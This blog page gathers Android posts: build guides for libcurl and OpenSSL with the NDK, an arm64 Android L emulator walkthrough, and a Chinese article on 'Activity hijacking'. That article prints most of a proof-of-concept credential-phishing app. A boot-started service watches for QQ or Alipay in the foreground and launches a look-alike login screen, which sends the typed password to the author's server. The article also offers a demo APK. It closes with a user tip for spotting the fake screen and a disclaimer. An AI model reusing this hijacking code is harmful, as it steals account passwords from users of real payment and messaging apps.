How to compile libcurl.so with ssl support for android jni

1. download and setup NDK 

… nothing difficult here

2.make stand alone toolchain with Android NDK

command:



export $NDKROOT=file-path-to-NDK-root

$NDKROOT/build/tools/make-standalone-toochain.sh –platform=android-17 –install-dir=/tmp/my-ndk-toolchain –arch=arm

3. setup some env parameters

commands:



export PATH=$PATH:/tmp/my-ndk-toolchain/bin

export LDFLAGS="-L/tmp/my-ndk-toolchain/sysroot/usr/lib"

export CPPFLAGS="-I/tmp/my-ndk-toolchain/sysroot/usr/include/"

(please note that NO SPACES exists between -L and /tmp, also, between -I and /tmp)

4. compile openssl for android

download openssl for android source code and compile.

commands:



mkdir dir_openssl_android

cd dir_openssl_android

git clone https://github.com/guardianproject/openssl-android.git

mv openssl-android jni

cd jni

ndk-build

 

Then copy libssl.so and libcrypto.so into /tmp/my-ndk-toolchain/sysroot/usr/lib/

and copy include/* into /tmp/my-ndk-toolchain/sysroot/include/

 

5. configure command

download curl source files from http://curl.haxx.se/download.html.

Untar the source file and move the rootDir to be jni .

 

#in some dir such as /home/u/programs/ndk/android-ndk-r10d/samples/
mkdir curl_4
cd cur_4
#download curl source 
wget http://curl.haxx.se/download/curl-7.41.0.tar.gz
tar xvf curl-7*
rm *.tar.gz
mv curl-7* jni
cd jni

./configure --host=arm-linux-androideabi \
--with-ssl \
--disable-ftp \
--disable-gopher \
--disable-file \
--disable-imap \
--disable-ldap \
--disable-ldaps \
--disable-pop3 \
--disable-proxy \
--disable-rtsp \
--disable-smtp \
--disable-telnet \
--disable-tftp \
--without-gnutls \
--without-libidn \
--without-librtmp \
--disable-dict

(Select options carefully. for example, if you want proxy function supported by libcurl, the “–disable-proxy \” line should be deleted.)

End of the output should be like this:

……

configure: amending tests/server/Makefile
configure: amending tests/libtest/Makefile
configure: amending docs/examples/Makefile
configure: Configured to build curl/libcurl:

curl version: 7.41.0
Host setup: arm-unknown-linux-androideabi
Install prefix: /usr/local
Compiler: arm-linux-androideabi-gcc
SSL support: enabled (OpenSSL)
SSH support: no (–with-libssh2)
zlib support: enabled
GSS-API support: no (–with-gssapi)
TLS-SRP support: no (–enable-tls-srp)
resolver: default (–enable-ares / –enable-threaded-resolver)
IPv6 support: no (–enable-ipv6)
Unix sockets support: enabled
IDN support: no (–with-{libidn,winidn})
Build libcurl: Shared=yes, Static=yes
Built-in manual: enabled
–libcurl option: enabled (–disable-libcurl-option)
Verbose errors: enabled (–disable-verbose)
SSPI support: no (–enable-sspi)
ca cert bundle: no
ca cert path: no
LDAP support: no (–enable-ldap / –with-ldap-lib / –with-lber-lib)
LDAPS support: no (–enable-ldaps)
RTSP support: no (–enable-rtsp)
RTMP support: no (–with-librtmp)
metalink support: no (–with-libmetalink)
HTTP2 support: disabled (–with-nghttp2)
Protocols: HTTP HTTPS SMB SMBS

SONAME bump: yes – WARNING: this library will be built with the SONAME
number bumped due to (a detected) ABI breakage.
See lib/README.curl_off_t for details on this.

And then


make
 
Then end of output should be like this:

rtoofft.o ../lib/curl-rawstr.o ../lib/curl-nonblock.o ../lib/curl-warnless.o ../lib/libcurl.la -lz
libtool: link: arm-linux-androideabi-gcc -O2 -Wno-system-headers -o .libs/curl curl-tool_binmode.o curl-tool_bname.o curl-tool_cb_dbg.o curl-tool_cb_hdr.o curl-tool_cb_prg.o curl-tool_cb_rea.o curl-tool_cb_see.o curl-tool_cb_wrt.o curl-tool_cfgable.o curl-tool_convert.o curl-tool_dirhie.o curl-tool_doswin.o curl-tool_easysrc.o curl-tool_formparse.o curl-tool_getparam.o curl-tool_getpass.o curl-tool_help.o curl-tool_helpers.o curl-tool_homedir.o curl-tool_hugehelp.o curl-tool_libinfo.o curl-tool_main.o curl-tool_metalink.o curl-tool_mfiles.o curl-tool_msgs.o curl-tool_operate.o curl-tool_operhlp.o curl-tool_panykey.o curl-tool_paramhlp.o curl-tool_parsecfg.o curl-tool_strdup.o curl-tool_setopt.o curl-tool_sleep.o curl-tool_urlglob.o curl-tool_util.o curl-tool_vms.o curl-tool_writeenv.o curl-tool_writeout.o curl-tool_xattr.o ../lib/curl-strtoofft.o ../lib/curl-rawstr.o ../lib/curl-nonblock.o ../lib/curl-warnless.o -L/home/u/programs/ndk/android-ndk-r10d/my_android_toolchain/sysroot/user/lib ../lib/.libs/libcurl.so -lz
make[2]: Leaving directory `/home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni/src’
make[1]: Leaving directory `/home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni/src’
Making all in include
make[1]: Entering directory `/home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni/include’
Making all in curl
make[2]: Entering directory `/home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni/include/curl’
make all-am
make[3]: Entering directory `/home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni/include/curl’
make[3]: Leaving directory `/home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni/include/curl’
make[2]: Leaving directory `/home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni/include/curl’
make[2]: Entering directory `/home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni/include’
make[2]: Nothing to be done for `all-am’.
make[2]: Leaving directory `/home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni/include’
make[1]: Leaving directory `/home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni/include’
make[1]: Entering directory `/home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni’
make[1]: Nothing to be done for `all-am’.
make[1]: Leaving directory `/home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni’

This means no error occurs. 

And the shared library libcurl.so can be found in the dir : ./lib/.libs/libcurl.so (This is a soft link file pointing to the real so file)

 

Now, we have gotten a libcurl.so file.

But… But, When this libcurl.so is being used in your android jni projects. Errors something like “libcurl.so.5 could not found ” error. Because, the file name of generated libcurl.so is libcurl.so.5 exactly. With ending with “.5”, the file could not be used as jni library. Because, libraries used in Android jni are expected ending with “.so” only.

 

So, we should figure out a way to generate an libcurl.so whose file name is libcurl.so!

Steps continues..

6. Modify Android.mk file of curl project

copy packages/Android/Android.mk into /home/u/programs/ndk/android-ndk-r10d/samples/curl_4/jni/

Modify the file to be :


#-------------------------begin Android.mk------------------------------------------------------------------------

LOCAL_PATH:= $(call my-dir)

common_CFLAGS := -Wpointer-arith -Wwrite-strings -Wunused -Winline -Wnested-externs -Wmissing-declarations -Wmissing-prototypes -Wno-long-long -Wfloat-equal -Wno-multichar -Wsign-compare -Wno-format-nonliteral -Wendif-labels -Wstrict-prototypes -Wdeclaration-after-statement -Wno-system-headers -DHAVE_CONFIG_H

#########################
# Build the libcurl library

include $(CLEAR_VARS)
include $(LOCAL_PATH)/lib/Makefile.inc
CURL_HEADERS := \
curlbuild.h \
curl.h \
curlrules.h \
curlver.h \
easy.h \
mprintf.h \
multi.h \
stdcheaders.h \
typecheck-gcc.h

OPENSSL_ROOT := /home/u/programs/openssl/openssl_android/jni/

LOCAL_SRC_FILES := $(addprefix lib/,$(CSOURCES))
LOCAL_C_INCLUDES += $(LOCAL_PATH)/include/ $(OPENSSL_ROOT)/include/ $(LOCAL_PATH)/lib
LOCAL_CFLAGS += $(common_CFLAGS)

LOCAL_COPY_HEADERS_TO := libcurl/curl
LOCAL_COPY_HEADERS := $(addprefix include/curl/,$(CURL_HEADERS))

LOCAL_LDLIBS += -L$(SYSROOT)/usr/lib -lssl -lcrypto -lz
LOCAL_MODULE:= libcurl
LOCAL_MODULE_TAGS := optional

# Copy the licence to a place where Android will find it.
# Actually, this doesn't quite work because the build system searches
# for NOTICE files before it gets to this point, so it will only be seen
# on subsequent builds.
ALL_PREBUILT += $(LOCAL_PATH)/NOTICE
$(LOCAL_PATH)/NOTICE: $(LOCAL_PATH)/COPYING | $(ACP)
$(copy-file-to-target)

include $(BUILD_SHARED_LIBRARY)

#delete original lines from here to the end ..

#-------------------------end Android.mk------------------------------------------------------------------------

The modification lines are in bold.

Then,

 


export SYSROOT=/tmp/my-ndk-toolchain/sysroot

And run:



ndk-build

 

libcurl.so could be found in ../libs/armeabi/libcurl.so

 

继续阅读“How to compile libcurl.so with ssl support for android jni”

编译android版本openssl共享库

1. 从https://github.com/guardianproject/openssl-android下载Openssl for android源代码

git clone https://github.com/guardianproject/openssl-android.git

2. 改名源代码的目录为jni

mv openssl-android jni

因为jni项目的Android.mk只有在jni目录中才能执行ndk-build命令否则会报错

当时的目录结构应该是这样的:

u@u:~/programs/openssl/openssl_android$ tree jni -L 1
jni
├── android-config.mk
├── AndroidManifest.xml
├── Android.mk
├── android.testssl
├── apps
├── CleanSpec.mk
├── crypto
├── default.properties
├── e_os2.h
├── e_os.h
├── import_openssl.sh
├── include
├── jni
├── libs
├── MODULE_LICENSE_BSD_LIKE
├── NOTICE
├── obj
├── openssl-android
├── openssl.config
├── openssl.version
├── patches
├── README.android
├── README.txt
├── ssl
└── ThirdPartyProject.prop

在jni目录中执行命令ndk-build,没有错误生成四个文件分别如下:

u@u:~/programs/openssl/openssl_android/jni$ ls -l libs/armeabi/
total 1380
-rwxr-xr-x 1 u u 857984 Mar 29 14:57 libcrypto.so
-rwxr-xr-x 1 u u 201472 Mar 29 14:57 libssl.so
-rwxr-xr-x 1 u u 304536 Mar 29 14:57 openssl
-rwxr-xr-x 1 u u 38664 Mar 29 14:57 ssltest

 

Android L AOSP(preview) under ARM64 (aarch64) QEMU emulator

As many others, I can’t wait to put my hands on Android running on aarch64 (arm-v8) and as many other, it’s difficult to afford such an expensive Juno board (the only development board arm-v8 available which I am aware of) If you Google a bit you’ll bump into this cool article:

http://www.cnx-software.com/2014/08/23/how-to-build-and-run-android-l-64-bit-arm-in-qemu/

The Linaro team put together ahead of time, around may 2014, a version of the Kernel for aarch64 called ranchu (forked from 3.10) and patched/worked together with the qemu team to create a machine model ranchu capable of emulating aarch64. Everything is well explained in the article above.

However, by compiling the latest Android L preview 2 AOSP, I ended up with serious issues during the zygote startup. It looks there is something seriously different in how boot.art is made, thus passing it to patchoat (at first time boot) something goes very wrong. Not going into details of the hell issue.

Sometimes, when things goes wrong, better to restart from scratch. It’s the old rule learned since the old Windows 95 time, hit ctrl-alt-delete.

While compiling the AOSP, I noticed that into the prebuilt folder you have something called emultator64-arm64 which sounds pretty much what I wanted; who said that Google is not providing amr64 emulation yet? 🙂 Yes, it’s not official, emulator images are not provided with the latest SDKv19 but I happily found another piece of gold. In the folder qemu-kernel/arm64/kernel-qemu this file sounds very much like the kernel prebuilt for the arm64 emulator. Why not trying compiling AOSP for generic arm64 support? in the end the device reference is there in the AOSP without any patching… and voila…

Here are the steps to follow:

1) get Android L developer preview AOSP

cd /data/src
mkdir AOSP
repo init -u https://android.googlesource.com/platform/manifest -b android-l-preview_r2
repo sync

wait a considerable amount of time to sync, almost 2 hours, prepare almost 100GB on your drive
note: you need repo command from google configured on your system.

2) have fun and compile (takes almost 1h on a decent machine)

source build/envsetup.sh
lunch aosp_arm64-eng
m -j8

here is the lunch output
============================================
PLATFORM_VERSION_CODENAME=AOSP
PLATFORM_VERSION=4.4.3.43.43.43
TARGET_PRODUCT=aosp_arm64
TARGET_BUILD_VARIANT=eng
TARGET_BUILD_TYPE=release
TARGET_BUILD_APPS=
TARGET_ARCH=arm64
TARGET_ARCH_VARIANT=armv8-a
TARGET_CPU_VARIANT=generic
TARGET_2ND_ARCH=arm
TARGET_2ND_ARCH_VARIANT=armv7-a-neon
TARGET_2ND_CPU_VARIANT=cortex-a15
HOST_ARCH=x86_64
HOST_OS=linux
HOST_OS_EXTRA=Linux-3.13.0-37-generic-x86_64-with-Ubuntu-14.04-trusty
HOST_BUILD_TYPE=release
BUILD_ID=AOSP
OUT_DIR=out
============================================

3) move to the prebuilt emulator folder, in my case I am under linux-x64, chose your arch

cd /data/src/AOSP/prebuilts/android-emulator/linux-x86_64

4) to run the emulator you need anyhow an AVD configuration or start it manually from the qemu binary without using the google emulator wrapper. I prefer to use the wrapper here as the command is cleaner.

create an AVD using your ANDROID SDK, launch

./android avd
(from platform tools, you can create one via command line ./android create)

or if you have already defined AVDs, just use one of them, settings will be overwritten by the command, so whatever you have in your AVD you are just using the config.ini file (stored in the .android folder). Preferably, set your AVD with more then 1024 MB ram.

5) now you are ready to launch the emulator, here is the command (all one line).

testL is the name of the AVD prepared. Wait, wait wait for android to finish booting, remember you are on a slow emulation, it takes time. If you are curios to see what’s going on, just run “logcat” at the prompt to see all the mess in real time.

./emulator64-arm64 -kernel ../../qemu-kernel/arm64/kernel-qemu -data /data/src/AOSP/out/target/product/generic_arm64/system.img -system /data/src/AOSP/out/target/product/generic_arm64/system.img -cache /data/src/AOSP/out/target/product/generic_arm64/cache.img -ramdisk /data/src/AOSP/out/target/product/generic_arm64/ramdisk.img -avd testL

Output, kernel boot and android prompt:

console on port 5554, ADB on port 5555
Initializing cgroup subsys cpu
Linux version 3.10.0+ (digit@tyrion.par.corp.google.com) (gcc version 4.8 (GCC) ) #12 SMP Tue Sep 16 22:36:19 CEST 2014
CPU: AArch64 Processor [411fd070] revision 0
Machine: ranchu
debug: skip boot console de-registration.
Unknown earlyprintk arguments: ttyAMA0
PERCPU: Embedded 10 pages/cpu @ffffffc07ffdf000 s11456 r8192 d21312 u40960
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 517120
Kernel command line: console=ttyAMA0,38400 keep_bootcon earlyprintk=ttyAMA0
PID hash table entries: 4096 (order: 3, 32768 bytes)
Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Memory: 2048MB = 2048MB total
Memory: 2058560k/2058560k available, 38592k reserved
Virtual kernel memory layout:
    vmalloc : 0xffffff8000000000 - 0xffffffbbffff0000   (245759 MB)
    vmemmap : 0xffffffbc00e00000 - 0xffffffbc02a00000   (    28 MB)
    modules : 0xffffffbffc000000 - 0xffffffc000000000   (    64 MB)
    memory  : 0xffffffc000000000 - 0xffffffc080000000   (  2048 MB)
      .init : 0xffffffc00057a000 - 0xffffffc0005a8cc0   (   188 kB)
      .text : 0xffffffc000080000 - 0xffffffc000579364   (  5093 kB)
      .data : 0xffffffc0005a9000 - 0xffffffc0005e7200   (   249 kB)
SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
Hierarchical RCU implementation.
 RCU restricting CPUs from NR_CPUS=4 to nr_cpu_ids=1.
NR_IRQS:64 nr_irqs:64 0
GIC CPU mask not found - kernel will fail to boot.
GIC CPU mask not found - kernel will fail to boot.
Architected local timer running at 62.50MHz (virt).
Console: colour dummy device 80x25
Calibrating delay loop (skipped), value calculated using timer frequency.. 125.00 BogoMIPS (lpj=625000)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 256
/cpus/cpu@0: Unknown CPU type
hw perfevents: no hardware support available
Brought up 1 CPUs
SMP: Total of 1 processors activated (125.00 BogoMIPS).
atomic64 test passed
NET: Registered protocol family 16
vdso: 2 pages (1 code, 1 data) at base ffffffc0005b1000
hw-breakpoint: found 6 breakpoint and 4 watchpoint registers.
software IO TLB [mem 0xbd400000-0xbd800000] (4MB) mapped at [ffffffc07d400000-ffffffc07d7fffff]
Serial: AMBA PL011 UART driver
9000000.pl011: ttyAMA0 at MMIO 0x9000000 (irq = 33) is a PL011 rev1
console [ttyAMA0] enabled
bio: create slab  at 0
SCSI subsystem initialized
Switching to clocksource arch_sys_counter
NET: Registered protocol family 2
TCP established hash table entries: 16384 (order: 6, 262144 bytes)
TCP bind hash table entries: 16384 (order: 6, 262144 bytes)
TCP: Hash tables configured (established 16384 bind 16384)
TCP: reno registered
UDP hash table entries: 1024 (order: 3, 32768 bytes)
UDP-Lite hash table entries: 1024 (order: 3, 32768 bytes)
NET: Registered protocol family 1
RPC: Registered named UNIX socket transport module.
RPC: Registered udp transport module.
RPC: Registered tcp transport module.
RPC: Registered tcp NFSv4.1 backchannel transport module.
Unpacking initramfs...
Freeing initrd memory: 816K (ffffffc008000000 - ffffffc0080cc000)
fuse init (API version 7.22)
msgmni has been set to 4022
io scheduler noop registered
io scheduler cfq registered (default)
loop: module loaded
 vda: unknown partition table
 vdb: unknown partition table
 vdc: unknown partition table
tun: Universal TUN/TAP device driver, 1.6
tun: (C) 1999-2004 Max Krasnyansky 
mousedev: PS/2 mouse device common for all mice
input: qwerty2 as /devices/9040000.goldfish-events/input/input0
ashmem: initialized
logger: created 256K log 'log_main'
logger: created 256K log 'log_events'
logger: created 256K log 'log_radio'
logger: created 256K log 'log_system'
ip_tables: (C) 2000-2006 Netfilter Core Team
arp_tables: (C) 2002 David S. Miller
TCP: cubic registered
NET: Registered protocol family 10
ip6_tables: (C) 2000-2006 Netfilter Core Team
sit: IPv6 over IPv4 tunneling driver
NET: Registered protocol family 17
Bridge firewalling registered
Registering SWP/SWPB emulation handler
drivers/rtc/hctosys.c: unable to open rtc device (rtc0)
Freeing unused kernel memory: 184K (ffffffc00057a000 - ffffffc0005a8000)
init (1): /proc/1/oom_adj is deprecated, please use /proc/1/oom_score_adj instead.
init: /dev/hw_random not found
init: /dev/hw_random not found
EXT4-fs (vda): mounted filesystem with ordered data mode. Opts: (null)
EXT4-fs (vdb): Ignoring removed nomblk_io_submit option
EXT4-fs (vdb): mounted filesystem with ordered data mode. Opts: nomblk_io_submit,errors=panic
EXT4-fs (vdc): Ignoring removed nomblk_io_submit option
EXT4-fs (vdc): mounted filesystem with ordered data mode. Opts: nomblk_io_submit,errors=panic
init: cannot find '/system/etc/install-recovery.sh', disabling 'flash_recovery'
healthd: BatteryVoltagePath not found
healthd: BatteryTemperaturePath not found
binder: 774:774 transaction failed 29189, size 0-0
logd.auditd: start
shell@generic_arm64:/ $

大谈android安全——Activity劫持与用户防范

文章讲述:使用FLAG_ACTIVITY_NEW_TASK标志启动Activity实现Android平台的Activity劫持.

1. 劫持原理以及使用POC

2. Service中,定时轮训监控制定activity/apk是否启动的方法

原文连接: http://maosidiaoxian.iteye.com/blog/1623016
本文调度机制内容部分参考于网上博文,但代码及用户防范的方法均属原创,转载请注明出处 http://msdxblog.sinaapp.com/?p=623 或本人在此ITEYE的这一博客:http://maosidiaoxian.iteye.com/blog/1623016
本博客声明:此文仅为技术讨论,不对具体阅读者的行为负责。同时希望大家不要将此用于非法目的。
1、Activity调度机制
在android系统中,不同的程序之间的切换基本上是无缝的,它们之间的切换只不过是Activity的切换。Activity的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AmS管理的。AmS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AmS。
当AmS收到要启动或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。

2、Android设计上的缺陷——Activity劫持
如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。

但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢?
在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。

3、示例
下面是示例代码。
AndroidManifest.xml文件的代码。

Xml代码

 

 

 

在以上的代码中,声明了一个服务service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上receiver部分的代码,及声明开机启动的权限的这一行代码 去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest文件是看不出任何异常的。

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。
Java代码
package com.sinaapp.msdxblog.android.activityhijacking.activity;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

public class HijackingActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent intent2 = new Intent(this, HijackingService.class);
startService(intent2);
Log.w(“hijacking”, “activity启动用来劫持的Service”);
}
}

如果想要开机启动,则需要一个receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动(这跟上面至少要实现一处,不然服务就没有被启动了),则这一步可以省略。
Java代码
/*
* @(#)HijackingBroadcast.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the “License”);
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an “AS IS” BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.receiver;

import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;

/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class HijackingReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(“android.intent.action.BOOT_COMPLETED”)) {
Log.w(“hijacking”, “开机启动”);
Intent intent2 = new Intent(context, HijackingService.class);
context.startService(intent2);
Log.w(“hijacking”, “启动用来劫持的Service”);
}
}
}

下面这个HijackingService类可就关键了,即用来进行Activity劫持的。
在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。
代码如下:
Java代码
/*
* @(#)HijackingService.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the “License”);
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an “AS IS” BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.service;

import java.util.HashMap;
import java.util.List;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;

/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class HijackingService extends Service {
private boolean hasStart = false;
// 这是一个悲伤的故事……
HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();

// Timer mTimer = new Timer();
Handler handler = new Handler();

Runnable mTask = new Runnable() {

@Override
public void run() {
ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
List appProcessInfos = activityManager
.getRunningAppProcesses();
// 枚举进程
Log.w(“hijacking”, “正在枚举进程”);
for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
// 如果APP在前台,那么——悲伤的故事就要来了
if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
if (mSadStories.containsKey(appProcessInfo.processName)) {
// 进行劫持
hijacking(appProcessInfo.processName);
} else {
Log.w(“hijacking”, appProcessInfo.processName);
}
}
}
handler.postDelayed(mTask, 1000);
}

/**
* 进行劫持
* @param processName
*/
private void hijacking(String processName) {
Log.w(“hijacking”, “有程序要悲剧了……”);
if (((HijackingApplication) getApplication())
.hasProgressBeHijacked(processName) == false) {
Log.w(“hijacking”, “悲剧正在发生”);
Intent jackingIsComing = new Intent(getBaseContext(),
mSadStories.get(processName));
jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
getApplication().startActivity(jackingIsComing);
((HijackingApplication) getApplication())
.addProgressHijacked(processName);
Log.w(“hijacking”, “已经劫持”);
}
}
};

@Override
public IBinder onBind(Intent intent) {
return null;
}

@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
if (!hasStart) {
mSadStories.put(“com.sinaapp.msdxblog.android.lol”,
JokeActivity.class);
mSadStories.put(“com.tencent.mobileqq”, QQStoryActivity.class);
mSadStories.put(“com.eg.android.AlipayGphone”,
AlipayStoryActivity.class);
handler.postDelayed(mTask, 1000);
hasStart = true;
}
}

@Override
public boolean stopService(Intent name) {
hasStart = false;
Log.w(“hijacking”, “劫持服务停止”);
((HijackingApplication) getApplication()).clearProgressHijacked();
return super.stopService(name);
}
}

下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。
Java代码
/*
* @(#)QQStoryActivity.java Project:ActivityHijackingDemo
* Date:2012-6-7
*
* Copyright (c) 2011 CFuture09, Institute of Software,
* Guangdong Ocean University, Zhanjiang, GuangDong, China.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the “License”);
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an “AS IS” BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;

import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.text.Html;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;

import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;

/**
* @author Geek_Soledad (66704238@51uc.com)
*/
public class AlipayStoryActivity extends Activity {
private EditText name;
private EditText password;
private Button mBtAlipay;
private Button mBtTaobao;
private Button mBtRegister;

private TextView mTvFindpswd;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setTheme(android.R.style.Theme_NoTitleBar);
setContentView(R.layout.alipay);
mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
mTvFindpswd.setText(Html.fromHtml(“[u]找回登录密码[/u]”));
mBtAlipay.setSelected(true);

name = (EditText) findViewById(R.id.input_name);
password = (EditText) findViewById(R.id.input_password);

}

public void onButtonClicked(View v) {
switch (v.getId()) {
case R.id.alipay_bt_login:
HandlerThread handlerThread = new HandlerThread(“send”);
handlerThread.start();
new Handler(handlerThread.getLooper()).post(new Runnable() {
@Override
public void run() {
// 发送获取到的用户密码
SendUtil.sendInfo(name.getText().toString(), password
.getText().toString(), “支付宝”);
}
});
moveTaskToBack(true);

break;
case R.id.alipay_bt_alipay:
chooseToAlipay();
break;
case R.id.alipay_bt_taobao:
chooseToTaobao();
break;
default:
break;
}
}

private void chooseToAlipay() {
mBtAlipay.setSelected(true);
mBtTaobao.setSelected(false);
name.setHint(R.string.alipay_name_alipay_hint);
mTvFindpswd.setVisibility(View.VISIBLE);
mBtRegister.setVisibility(View.VISIBLE);
}

private void chooseToTaobao() {
mBtAlipay.setSelected(false);
mBtTaobao.setSelected(true);
name.setHint(R.string.alipay_name_taobao_hint);
mTvFindpswd.setVisibility(View.GONE);
mBtRegister.setVisibility(View.GONE);
}
}

上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样。主要的代码是发送用户密码的那一句。
至于SendUtil我就不提供了,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。

下面是我在学校时用来演示的PPT及APK。
ActivityHijackingDemo.apk

Activity劫持 演示文档.7z

4、用户防范
这里我将说下我发现的防范的方法,非常简单。这个方法是对用户而言的。android手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务(前几天发现一个奇葩的手机,居然是短按一个键的,而这个键长按时是弹出MENU菜单,太奇葩了)。对于我所用的HTC G14而言,显示的最近的一个是上一个运行的程序。小米显示的最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近期任务,以我的手机为例,如果在登录QQ时长按发现近期任务出现了QQ,则我现在的这个登录界面就极有可能是伪装了,切换到另一个程序,再查看近期任务,就可以知道这个登录界面是来源于哪个程序了。
如果是小米手机的话,在进行登录时,如果查看的近期任务的第一个不是自己要登录的那个程序的名字,则它就是伪装的。

目前对于这种Activity劫持,没有发现有任何手机查杀软件可以主动防范。而我所知的,也只有我发现的这一方法可以判别。如果有新的消息,欢迎参加讨论。

本文调度机制内容部分参考于网上博文,但代码及用户防范的方法均属原创,转载请注明出处 http://msdxblog.sinaapp.com/?p=623 或本人在此ITEYE的这一博客:http://maosidiaoxian.iteye.com/blog/1623016

